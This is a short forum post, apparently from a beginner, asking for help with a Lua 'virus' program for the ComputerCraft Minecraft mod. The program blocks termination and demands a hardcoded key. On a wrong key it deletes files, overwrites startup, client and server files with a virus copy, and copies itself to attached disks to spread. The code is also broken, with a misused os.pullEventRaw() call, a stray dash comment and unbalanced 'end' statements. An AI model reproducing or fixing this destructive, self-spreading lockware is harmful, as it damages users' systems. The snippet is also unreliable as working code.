Posted 16 January 2017 - 12:02 PM
uh i created a programm and it doesn't work plz help me im new
- os.pullEvent = os.pullEventRaw()
key = read()
–programm–
disk.eject("left")
disk.eject("right")
disk.eject("top")
disk.eject("bottom")
disk.eject("front")
disk.eject("back")
local password = "1337"
print("Enter key for deleting virus…")
local input = read("*")
if input == password then
print("deleting virus…")
shell.run("delete startup")
sleep(5)
print("done!")
os.reboot()
else
print("deleting all files key was wrong…")
sleep(5)
term.clear()
term.setCursorPos(1,1)
term.setTextColor(colors.red)
term.setBackgroundColor(colors.blue)
disk.eject("left")
disk.eject("right")
disk.eject("top")
disk.eject("bottom")
disk.eject("back")
disk.eject("front")
shell.run("delete startup")
shell.run("copy virus startup")
shell.run("delete client")
shell.run("delete server")
shell.run("copy virus client")
shell.run("copy virus server")
shell.run("copy startup disk/startup")
os.shutdown()
end
end
end